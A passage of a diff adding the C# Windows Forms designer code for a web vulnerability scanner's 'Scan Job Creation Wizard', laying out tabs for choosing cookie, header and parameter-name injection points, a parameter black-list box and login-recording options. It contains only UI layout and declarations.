System.Drawing.Point(4, 22); + this.CookieTab.Margin = new System.Windows.Forms.Padding(0); + this.CookieTab.Name = "CookieTab"; + this.CookieTab.Size = new System.Drawing.Size(863, 394); + this.CookieTab.TabIndex = 3; + this.CookieTab.Text = "Cookie"; + this.CookieTab.UseVisualStyleBackColor = true; + // + // ScanCookieGrid + // + this.ScanCookieGrid.AllowUserToAddRows = false; + this.ScanCookieGrid.AllowUserToDeleteRows = false; + this.ScanCookieGrid.AllowUserToResizeRows = false; + this.ScanCookieGrid.BackgroundColor = System.Drawing.Color.White; + this.ScanCookieGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ScanCookieGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.ScanCookieGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.ASRequestCookieSelectColumn, + this.ASRequestCookieNameColumn, + this.ASRequestCookieValueColumn}); + this.ScanCookieGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.ScanCookieGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.ScanCookieGrid.GridColor = System.Drawing.Color.White; + this.ScanCookieGrid.Location = new System.Drawing.Point(0, 0); + this.ScanCookieGrid.Margin = new System.Windows.Forms.Padding(0); + this.ScanCookieGrid.Name = "ScanCookieGrid"; + this.ScanCookieGrid.RowHeadersVisible = false; + this.ScanCookieGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ScanCookieGrid.Size = new System.Drawing.Size(863, 394); + this.ScanCookieGrid.TabIndex = 2; + this.ScanCookieGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ScanCookieGrid_CellClick); + // + // ASRequestCookieSelectColumn + // + this.ASRequestCookieSelectColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ASRequestCookieSelectColumn.HeaderText = "INJECT"; + this.ASRequestCookieSelectColumn.Name = "ASRequestCookieSelectColumn"; + this.ASRequestCookieSelectColumn.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.ASRequestCookieSelectColumn.Width = 55; + // + // ASRequestCookieNameColumn + // + this.ASRequestCookieNameColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.ASRequestCookieNameColumn.HeaderText = "PARAMETER NAME"; + this.ASRequestCookieNameColumn.Name = "ASRequestCookieNameColumn"; + this.ASRequestCookieNameColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // ASRequestCookieValueColumn + // + this.ASRequestCookieValueColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.ASRequestCookieValueColumn.HeaderText = "PARAMETER VALUE"; + this.ASRequestCookieValueColumn.Name = "ASRequestCookieValueColumn"; + this.ASRequestCookieValueColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // HeadersTab + // + this.HeadersTab.Controls.Add(this.ScanHeadersGrid); + this.HeadersTab.Location = new System.Drawing.Point(4, 22); + this.HeadersTab.Margin = new System.Windows.Forms.Padding(0); + this.HeadersTab.Name = "HeadersTab"; + this.HeadersTab.Size = new System.Drawing.Size(863, 394); + this.HeadersTab.TabIndex = 4; + this.HeadersTab.Text = "Headers"; + this.HeadersTab.UseVisualStyleBackColor = true; + // + // ScanHeadersGrid + // + this.ScanHeadersGrid.AllowUserToAddRows = false; + this.ScanHeadersGrid.AllowUserToDeleteRows = false; + this.ScanHeadersGrid.AllowUserToResizeRows = false; + this.ScanHeadersGrid.BackgroundColor = System.Drawing.Color.White; + this.ScanHeadersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ScanHeadersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.ScanHeadersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.ASRequestHeadersSelectColumn, + this.ASRequestHeadersNameColumn, + this.ASRequestHeadersValueColumn}); + this.ScanHeadersGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.ScanHeadersGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.ScanHeadersGrid.GridColor = System.Drawing.Color.White; + this.ScanHeadersGrid.Location = new System.Drawing.Point(0, 0); + this.ScanHeadersGrid.Margin = new System.Windows.Forms.Padding(0); + this.ScanHeadersGrid.Name = "ScanHeadersGrid"; + this.ScanHeadersGrid.RowHeadersVisible = false; + this.ScanHeadersGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ScanHeadersGrid.Size = new System.Drawing.Size(863, 394); + this.ScanHeadersGrid.TabIndex = 3; + this.ScanHeadersGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ScanHeadersGrid_CellClick); + // + // ASRequestHeadersSelectColumn + // + this.ASRequestHeadersSelectColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ASRequestHeadersSelectColumn.HeaderText = "INJECT"; + this.ASRequestHeadersSelectColumn.Name = "ASRequestHeadersSelectColumn"; + this.ASRequestHeadersSelectColumn.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.ASRequestHeadersSelectColumn.Width = 55; + // + // ASRequestHeadersNameColumn + // + this.ASRequestHeadersNameColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.ASRequestHeadersNameColumn.HeaderText = "PARAMETER NAME"; + this.ASRequestHeadersNameColumn.Name = "ASRequestHeadersNameColumn"; + this.ASRequestHeadersNameColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // ASRequestHeadersValueColumn + // + this.ASRequestHeadersValueColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.ASRequestHeadersValueColumn.HeaderText = "PARAMETER VALUE"; + this.ASRequestHeadersValueColumn.Name = "ASRequestHeadersValueColumn"; + this.ASRequestHeadersValueColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // ParameterNamesTab + // + this.ParameterNamesTab.Controls.Add(this.textBox1); + this.ParameterNamesTab.Controls.Add(this.ScanHeadersParameterNameCB); + this.ParameterNamesTab.Controls.Add(this.ScanCookieParameterNameCB); + this.ParameterNamesTab.Controls.Add(this.ScanBodyParameterNameCB); + this.ParameterNamesTab.Controls.Add(this.ScanQueryParameterNameCB); + this.ParameterNamesTab.Location = new System.Drawing.Point(4, 22); + this.ParameterNamesTab.Margin = new System.Windows.Forms.Padding(0); + this.ParameterNamesTab.Name = "ParameterNamesTab"; + this.ParameterNamesTab.Size = new System.Drawing.Size(863, 394); + this.ParameterNamesTab.TabIndex = 5; + this.ParameterNamesTab.Text = "Names"; + this.ParameterNamesTab.UseVisualStyleBackColor = true; + // + // textBox1 + // + this.textBox1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.textBox1.BackColor = System.Drawing.Color.White; + this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox1.Location = new System.Drawing.Point(7, 7); + this.textBox1.Multiline = true; + this.textBox1.Name = "textBox1"; + this.textBox1.ReadOnly = true; + this.textBox1.Size = new System.Drawing.Size(849, 68); + this.textBox1.TabIndex = 5; + this.textBox1.Text = resources.GetString("textBox1.Text"); + // + // ScanHeadersParameterNameCB + // + this.ScanHeadersParameterNameCB.AutoSize = true; + this.ScanHeadersParameterNameCB.Location = new System.Drawing.Point(20, 156); + this.ScanHeadersParameterNameCB.Name = "ScanHeadersParameterNameCB"; + this.ScanHeadersParameterNameCB.Size = new System.Drawing.Size(148, 17); + this.ScanHeadersParameterNameCB.TabIndex = 4; + this.ScanHeadersParameterNameCB.Text = "Headers Parameter Name"; + this.ScanHeadersParameterNameCB.UseVisualStyleBackColor = true; + this.ScanHeadersParameterNameCB.Click += new System.EventHandler(this.ScanHeadersParameterNameCB_Click); + // + // ScanCookieParameterNameCB + // + this.ScanCookieParameterNameCB.AutoSize = true; + this.ScanCookieParameterNameCB.Location = new System.Drawing.Point(20, 133); + this.ScanCookieParameterNameCB.Name = "ScanCookieParameterNameCB"; + this.ScanCookieParameterNameCB.Size = new System.Drawing.Size(141, 17); + this.ScanCookieParameterNameCB.TabIndex = 3; + this.ScanCookieParameterNameCB.Text = "Cookie Parameter Name"; + this.ScanCookieParameterNameCB.UseVisualStyleBackColor = true; + this.ScanCookieParameterNameCB.Click += new System.EventHandler(this.ScanCookieParameterNameCB_Click); + // + // ScanBodyParameterNameCB + // + this.ScanBodyParameterNameCB.AutoSize = true; + this.ScanBodyParameterNameCB.Location = new System.Drawing.Point(20, 110); + this.ScanBodyParameterNameCB.Name = "ScanBodyParameterNameCB"; + this.ScanBodyParameterNameCB.Size = new System.Drawing.Size(132, 17); + this.ScanBodyParameterNameCB.TabIndex = 2; + this.ScanBodyParameterNameCB.Text = "Body Parameter Name"; + this.ScanBodyParameterNameCB.UseVisualStyleBackColor = true; + this.ScanBodyParameterNameCB.Click += new System.EventHandler(this.ScanBodyParameterNameCB_Click); + // + // ScanQueryParameterNameCB + // + this.ScanQueryParameterNameCB.AutoSize = true; + this.ScanQueryParameterNameCB.Location = new System.Drawing.Point(20, 87); + this.ScanQueryParameterNameCB.Name = "ScanQueryParameterNameCB"; + this.ScanQueryParameterNameCB.Size = new System.Drawing.Size(136, 17); + this.ScanQueryParameterNameCB.TabIndex = 1; + this.ScanQueryParameterNameCB.Text = "Query Parameter Name"; + this.ScanQueryParameterNameCB.UseVisualStyleBackColor = true; + this.ScanQueryParameterNameCB.Click += new System.EventHandler(this.ScanQueryParameterNameCB_Click); + // + // BlackListTab + // + this.BlackListTab.Controls.Add(this.textBox8); + this.BlackListTab.Controls.Add(this.textBox7); + this.BlackListTab.Controls.Add(this.ParametersBlacklistTB); + this.BlackListTab.Location = new System.Drawing.Point(4, 22); + this.BlackListTab.Name = "BlackListTab"; + this.BlackListTab.Size = new System.Drawing.Size(863, 394); + this.BlackListTab.TabIndex = 7; + this.BlackListTab.Text = "Parameters Black-list"; + this.BlackListTab.UseVisualStyleBackColor = true; + // + // textBox8 + // + this.textBox8.BackColor = System.Drawing.Color.White; + this.textBox8.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox8.ForeColor = System.Drawing.Color.Gray; + this.textBox8.Location = new System.Drawing.Point(290, 122); + this.textBox8.Multiline = true; + this.textBox8.Name = "textBox8"; + this.textBox8.ReadOnly = true; + this.textBox8.Size = new System.Drawing.Size(271, 57); + this.textBox8.TabIndex = 13; + this.textBox8.Text = "Add one parameter name per line. Blank space at the start and end of parameter na" + + "mes are stripped away.\r\n"; + // + // textBox7 + // + this.textBox7.BackColor = System.Drawing.Color.White; + this.textBox7.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox7.Dock = System.Windows.Forms.DockStyle.Top; + this.textBox7.Location = new System.Drawing.Point(0, 0); + this.textBox7.Multiline = true; + this.textBox7.Name = "textBox7"; + this.textBox7.ReadOnly = true; + this.textBox7.Size = new System.Drawing.Size(863, 116); + this.textBox7.TabIndex = 12; + this.textBox7.Text = resources.GetString("textBox7.Text"); + // + // ParametersBlacklistTB + // + this.ParametersBlacklistTB.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.ParametersBlacklistTB.Location = new System.Drawing.Point(9, 122); + this.ParametersBlacklistTB.Multiline = true; + this.ParametersBlacklistTB.Name = "ParametersBlacklistTB"; + this.ParametersBlacklistTB.Size = new System.Drawing.Size(275, 265); + this.ParametersBlacklistTB.TabIndex = 0; + this.ParametersBlacklistTB.TextChanged += new System.EventHandler(this.ParametersBlacklistTB_TextChanged); + // + // CustomizeTab + // + this.CustomizeTab.Controls.Add(this.StartLoginRecorderLL); + this.CustomizeTab.Controls.Add(this.LoginRecordingComboBox); + this.CustomizeTab.Controls.Add(this.label4); + this.CustomizeTab.Controls.Add(this.SessionPluginsCombo); + this.CustomizeTab.Controls.Add(this.ScanThreadLimitCB); + this.CustomizeTab.Controls.Add(this.LaunchSessionPluginCreationAssistantLL); + this.CustomizeTab.Controls.Add(this.RefreshSessListLL); + this.CustomizeTab.Controls.Add(this.textBox2); + this.CustomizeTab.Controls.Add(this.label11); + this.CustomizeTab.Controls.Add(this.Step3StatusTB); + this.CustomizeTab.Controls.Add(this.StepFourPreviousBtn); + this.CustomizeTab.Controls.Add(this.FinalBtn); + this.CustomizeTab.Location = new System.Drawing.Point(4, 25); + this.CustomizeTab.Name = "CustomizeTab"; + this.CustomizeTab.Padding = new System.Windows.Forms.Padding(5); + this.CustomizeTab.Size = new System.Drawing.Size(876, 532); + this.CustomizeTab.TabIndex = 3; + this.CustomizeTab.Text = " Customize Scan "; + this.CustomizeTab.UseVisualStyleBackColor = true; + // + // StartLoginRecorderLL + // + this.StartLoginRecorderLL.AutoSize = true; + this.StartLoginRecorderLL.Location = new System.Drawing.Point(204, 38); + this.StartLoginRecorderLL.Name = "StartLoginRecorderLL"; + this.StartLoginRecorderLL.Size = new System.Drawing.Size(105, 13); + this.StartLoginRecorderLL.TabIndex = 169; + this.StartLoginRecorderLL.TabStop = true; + this.StartLoginRecorderLL.Text = "Start Login Recorder"; + this.StartLoginRecorderLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.StartLoginRecorderLL_LinkClicked); + // + // LoginRecordingComboBox + // + this.LoginRecordingComboBox.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.LoginRecordingComboBox.FormattingEnabled = true; + this.LoginRecordingComboBox.Location = new System.Drawing.Point(263, 123); + this.LoginRecordingComboBox.Name = "LoginRecordingComboBox"; + this.LoginRecordingComboBox.Size = new System.Drawing.Size(336, 21); + this.LoginRecordingComboBox.TabIndex = 168; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(19, 126); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(238, 13); + this.label4.TabIndex = 167; + this.label4.Text = "Select a Login Recording to use during the scan:"; + // + // SessionPluginsCombo + // + this.SessionPluginsCombo.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.SessionPluginsCombo.FormattingEnabled = true; + this.SessionPluginsCombo.Location = new System.Drawing.Point(263, 179); + this.SessionPluginsCombo.Name = "SessionPluginsCombo"; + this.SessionPluginsCombo.Size = new System.Drawing.Size(336, 21); + this.SessionPluginsCombo.TabIndex = 166; + // + // ScanThreadLimitCB + // + this.ScanThreadLimitCB.AutoSize = true; + this.ScanThreadLimitCB.Checked = true; + this.ScanThreadLimitCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ScanThreadLimitCB.Location = new System.Drawing.Point(19, 245); + this.ScanThreadLimitCB.Name = "ScanThreadLimitCB"; + this.ScanThreadLimitCB.Size = new System.Drawing.Size(572, 17); + this.ScanThreadLimitCB.TabIndex = 165; + this.ScanThreadLimitCB.Text = "When a Login Recording/Session Plugin is selected, automatically set the Scan thr" + + "ead limit to one. (Recommended)"; + this.ScanThreadLimitCB.UseVisualStyleBackColor = true; + // + // LaunchSessionPluginCreationAssistantLL + // + this.LaunchSessionPluginCreationAssistantLL.AutoSize = true; + this.LaunchSessionPluginCreationAssistantLL.Location = new System.Drawing.Point(155, 65); + this.LaunchSessionPluginCreationAssistantLL.Name = "LaunchSessionPluginCreationAssistantLL"; + this.LaunchSessionPluginCreationAssistantLL.Size = new System.Drawing.Size(202, 13); + this.LaunchSessionPluginCreationAssistantLL.TabIndex = 164; + this.LaunchSessionPluginCreationAssistantLL.TabStop = true; + this.LaunchSessionPluginCreationAssistantLL.Text = "Launch Session Plugin Creation Assistant"; + this.LaunchSessionPluginCreationAssistantLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.LaunchSessionPluginCreationAssistantLL_LinkClicked); + // + // RefreshSessListLL + // + this.RefreshSessListLL.AutoSize = true; + this.RefreshSessListLL.Location = new System.Drawing.Point(614, 155); + this.RefreshSessListLL.Name = "RefreshSessListLL"; + this.RefreshSessListLL.Size = new System.Drawing.Size(242, 13); + this.RefreshSessListLL.TabIndex = 163; + this.RefreshSessListLL.TabStop = true; + this.RefreshSessListLL.Text = "Refresh Login Recording and Session Plugins List"; + this.RefreshSessListLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.RefreshSessListLL_LinkClicked); + // + // textBox2 + // + this.textBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox2.Location = new System.Drawing.Point(17, 12); + this.textBox2.Multiline = true; + this.textBox2.Name = "textBox2"; + this.textBox2.ReadOnly = true; + this.textBox2.Size = new System.Drawing.Size(798, 75); + this.textBox2.TabIndex = 162; + this.textBox2.TabStop = false; + this.textBox2.Text = "If you want to handle CSRF tokens, authentication and other custom site behaviour" + + "s during the scan then you have two options:\r\n\r\n1) Record Login and CSRF handlin" + + "g - \r\n\r\n2) Create a Session Plugin - \r\n"; + // + // label11 + // + this.label11.AutoSize = true; + this.label11.Location = new System.Drawing.Point(16, 184); + this.label11.Name = "label11"; + this.label11.Size = new System.Drawing.Size(229, 13); + this.label11.TabIndex = 161; + this.label11.Text = "Select a Session Plugin to use during the scan:"; + // + // Step3StatusTB + // + this.Step3StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.Step3StatusTB.BackColor = System.Drawing.SystemColors.Control; + this.Step3StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Step3StatusTB.Font = new System.Drawing.Font("Palatino Linotype", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.Step3StatusTB.ForeColor = System.Drawing.Color.Blue; + this.Step3StatusTB.Location = new System.Drawing.Point(235, 413); + this.Step3StatusTB.Multiline = true; + this.Step3StatusTB.Name = "Step3StatusTB"; + this.Step3StatusTB.Size = new System.Drawing.Size(628, 50); + this.Step3StatusTB.TabIndex = 20; + this.Step3StatusTB.TabStop = false; + // + // StepFourPreviousBtn + // + this.StepFourPreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepFourPreviousBtn.Location = new System.Drawing.Point(11, 497); + this.StepFourPreviousBtn.Name = "StepFourPreviousBtn"; + this.StepFourPreviousBtn.Size = new System.Drawing.Size(105, 23); + this.StepFourPreviousBtn.TabIndex = 19; + this.StepFourPreviousBtn.Text = "<-Previous Step"; + this.StepFourPreviousBtn.UseVisualStyleBackColor = true; + this.StepFourPreviousBtn.Click += new System.EventHandler(this.StepFourPreviousBtn_Click); + // + // FinalBtn + // + this.FinalBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.FinalBtn.Location = new System.Drawing.Point(737, 484); + this.FinalBtn.Name = "FinalBtn"; + this.FinalBtn.Size = new System.Drawing.Size(126, 35); + this.FinalBtn.TabIndex = 16; + this.FinalBtn.Text = "Start Scan"; + this.FinalBtn.UseVisualStyleBackColor = true; + this.FinalBtn.Click += new System.EventHandler(this.FinalBtn_Click); + // + // SetCustomInjectionPointsSTB + // + this.SetCustomInjectionPointsSTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.SetCustomInjectionPointsSTB.Location = new System.Drawing.Point(0, 0); + this.SetCustomInjectionPointsSTB.Margin = new System.Windows.Forms.Padding(0); + this.SetCustomInjectionPointsSTB.Name = "SetCustomInjectionPointsSTB"; + this.SetCustomInjectionPointsSTB.ReadOnly = false; + this.SetCustomInjectionPointsSTB.Size = new System.Drawing.Size(847, 210); + this.SetCustomInjectionPointsSTB.TabIndex = 0; + // + // StartScanJobWizard + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(884, 561); + this.Controls.Add(this.BaseTabs); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximumSize = new System.Drawing.Size(900, 600); + this.MinimumSize = new System.Drawing.Size(900, 600); + this.Name = "StartScanJobWizard"; + this.Text = "Scan Job Creation Wizard"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.StartScanJobWizard_FormClosing); + this.Load += new System.EventHandler(this.StartScanJobWizard_Load); + this.BaseTabs.ResumeLayout(false); + this.RequestTab.ResumeLayout(false); + this.RequestTab.PerformLayout(); + this.RequestTabs.ResumeLayout(false); + this.tabPage20.ResumeLayout(false); + this.tabPage20.PerformLayout(); + this.tabPage21.ResumeLayout(false); + this.tabPage21.PerformLayout(); + this.ChecksTab.ResumeLayout(false); + this.ChecksTab.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ScanPluginsGrid)).EndInit(); + this.InjectionTab.ResumeLayout(false); + this.InjectionTab.PerformLayout(); + this.InjectionPointBaseTabs.ResumeLayout(false); + this.AllTab.ResumeLayout(false); + this.AllTab.PerformLayout(); + this.panel7.ResumeLayout(false); + this.panel7.PerformLayout(); + this.panel6.ResumeLayout(false); + this.panel6.PerformLayout(); + this.panel4.ResumeLayout(false); + this.panel4.PerformLayout(); + this.panel3.ResumeLayout(false); + this.panel3.PerformLayout(); + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + this.URLTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.ScanURLGrid)).EndInit(); + this.QueryTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.ScanQueryGrid)).EndInit(); + this.BodyTab.ResumeLayout(false); + this.BodyTab.PerformLayout(); + this.BodyInjectTypeTabs.ResumeLayout(false); + this.BodyTypeNormalTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.ScanBodyTypeNormalGrid)).EndInit(); + this.BodyTypeFormatPluginTab.ResumeLayout(false); + this.ASRequestBodyTabSplit.Panel1.ResumeLayout(false); + this.ASRequestBodyTabSplit.Panel2.ResumeLayout(false); + this.ASRequestBodyTabSplit.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.FormatPluginsGrid)).EndInit(); + this.ScanBodyFormatPluginTypeTabs.ResumeLayout(false); + this.BodyTypeFormatPluginInjectionArrayGridTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.BodyTypeFormatPluginGrid)).EndInit(); + this.BodyTypeFormatPluginXMLTab.ResumeLayout(false); + this.BodyTypeFormatPluginXMLTab.PerformLayout(); + this.BodyTypeCustomTab.ResumeLayout(false); + this.BodyTypeCustomTab.PerformLayout(); + this.CustomInjectionMarkerTabs.ResumeLayout(false); + this.CustomMarkerSelectionTab.ResumeLayout(false); + this.CustomMarkerDisplayTab.ResumeLayout(false); + this.CustomMarkerEscapingTab.ResumeLayout(false); + this.CustomMarkerEscapingTab.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.CharacterEscapingGrid)).EndInit(); + this.CharacterEscapingMenu.ResumeLayout(false); + this.CookieTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.ScanCookieGrid)).EndInit(); + this.HeadersTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.ScanHeadersGrid)).EndInit(); + this.ParameterNamesTab.ResumeLayout(false); + this.ParameterNamesTab.PerformLayout(); + this.BlackListTab.ResumeLayout(false); + this.BlackListTab.PerformLayout(); + this.CustomizeTab.ResumeLayout(false); + this.CustomizeTab.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.TabControl BaseTabs; + private System.Windows.Forms.TabPage RequestTab; + private System.Windows.Forms.TabPage ChecksTab; + private System.Windows.Forms.TabPage InjectionTab; + private System.Windows.Forms.TabPage CustomizeTab; + internal System.Windows.Forms.TabControl RequestTabs; + private System.Windows.Forms.TabPage tabPage20; + internal IronDataView.IronDataView RequestRawHeadersIDV; + private System.Windows.Forms.TabPage tabPage21; + internal IronDataView.IronDataView RequestRawBodyIDV; + internal System.Windows.Forms.DataGridView ScanPluginsGrid; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn9; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn27; + internal System.Windows.Forms.TabControl InjectionPointBaseTabs; + private System.Windows.Forms.TabPage URLTab; + internal System.Windows.Forms.DataGridView ScanURLGrid; + private System.Windows.Forms.DataGridViewCheckBoxColumn ASRequestURLSelectColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestURLPositionColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestURLValueColumn; + private System.Windows.Forms.TabPage QueryTab; + private System.Windows.Forms.DataGridViewCheckBoxColumn ASRequestQuerySelectColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestQueryNameColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestQueryValueColumn; + private System.Windows.Forms.TabPage BodyTab; + internal System.Windows.Forms.RadioButton BodyTypeCustomRB; + internal System.Windows.Forms.RadioButton BodyTypeFormatPluginRB; + internal System.Windows.Forms.RadioButton BodyTypeNormalRB; + private System.Windows.Forms.Label label35; + internal System.Windows.Forms.TabControl BodyInjectTypeTabs; + private System.Windows.Forms.TabPage BodyTypeNormalTab; + internal System.Windows.Forms.DataGridView ScanBodyTypeNormalGrid; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn1; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn15; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn16; + private System.Windows.Forms.TabPage BodyTypeFormatPluginTab; + private System.Windows.Forms.SplitContainer ASRequestBodyTabSplit; + internal System.Windows.Forms.DataGridView FormatPluginsGrid; + private System.Windows.Forms.DataGridViewCheckBoxColumn ASRequestBodyDataFormatSelectColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestBodyDataFormatColumn; + internal System.Windows.Forms.TabControl ScanBodyFormatPluginTypeTabs; + private System.Windows.Forms.TabPage BodyTypeFormatPluginInjectionArrayGridTab; + internal System.Windows.Forms.DataGridView BodyTypeFormatPluginGrid; + private System.Windows.Forms.DataGridViewCheckBoxColumn ASRequestBodySelectColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestBodyNameColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestBodyValueColumn; + private System.Windows.Forms.TabPage BodyTypeFormatPluginXMLTab; + internal System.Windows.Forms.TextBox FormatXMLTB; + private System.Windows.Forms.TabPage BodyTypeCustomTab; + internal System.Windows.Forms.TabControl CustomInjectionMarkerTabs; + private System.Windows.Forms.TabPage CustomMarkerSelectionTab; + private System.Windows.Forms.TextBox textBox3; + private System.Windows.Forms.Label label37; + internal System.Windows.Forms.TextBox CustomEndMarkerTB; + private System.Windows.Forms.LinkLabel ASApplyCustomMarkersLL; + private System.Windows.Forms.Label label39; + private System.Windows.Forms.Label label38; + internal System.Windows.Forms.TextBox CustomStartMarkerTB; + private System.Windows.Forms.TabPage CustomMarkerDisplayTab; + internal System.Windows.Forms.RichTextBox HighlightCustomInjectionPointsRTB; + internal System.Windows.Forms.Label CustomInjectionPointsHighlightLbl; + private System.Windows.Forms.TabPage CookieTab; + internal System.Windows.Forms.DataGridView ScanCookieGrid; + private System.Windows.Forms.DataGridViewCheckBoxColumn ASRequestCookieSelectColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestCookieNameColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestCookieValueColumn; + private System.Windows.Forms.TabPage HeadersTab; + internal System.Windows.Forms.DataGridView ScanHeadersGrid; + private System.Windows.Forms.DataGridViewCheckBoxColumn ASRequestHeadersSelectColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestHeadersNameColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestHeadersValueColumn; + private System.Windows.Forms.TabPage ParameterNamesTab; + private System.Windows.Forms.TextBox textBox1; + private System.Windows.Forms.CheckBox ScanHeadersParameterNameCB; + private System.Windows.Forms.CheckBox ScanCookieParameterNameCB; + private System.Windows.Forms.CheckBox ScanBodyParameterNameCB; + private System.Windows.Forms.CheckBox ScanQueryParameterNameCB; + private System.Windows.Forms.Button StepOneNextBtn; + private System.Windows.Forms.Button StepTwoPreviousBtn; + private System.Windows.Forms.Button StepTwoNextBtn; + private System.Windows.Forms.Button StepThreePreviousBtn; + private System.Windows.Forms.Button StepThreeNextBtn; + private System.Windows.Forms.Button FinalBtn; + private System.Windows.Forms.TextBox Step0TopMsgTB; + private System.Windows.Forms.Button CancelBtn; + private System.Windows.Forms.TextBox Step1TopMsgTB; + private System.Windows.Forms.TextBox Step2TopMsgTB; + private System.Windows.Forms.TabPage AllTab; + private System.Windows.Forms.TabPage BlackListTab; + private System.Windows.Forms.CheckBox UseBlackListCB; + internal System.Windows.Forms.CheckBox ScanParameterNamesCB; + internal System.Windows.Forms.CheckBox ScanHeadersCB; + internal System.Windows.Forms.CheckBox ScanCookieCB; + internal 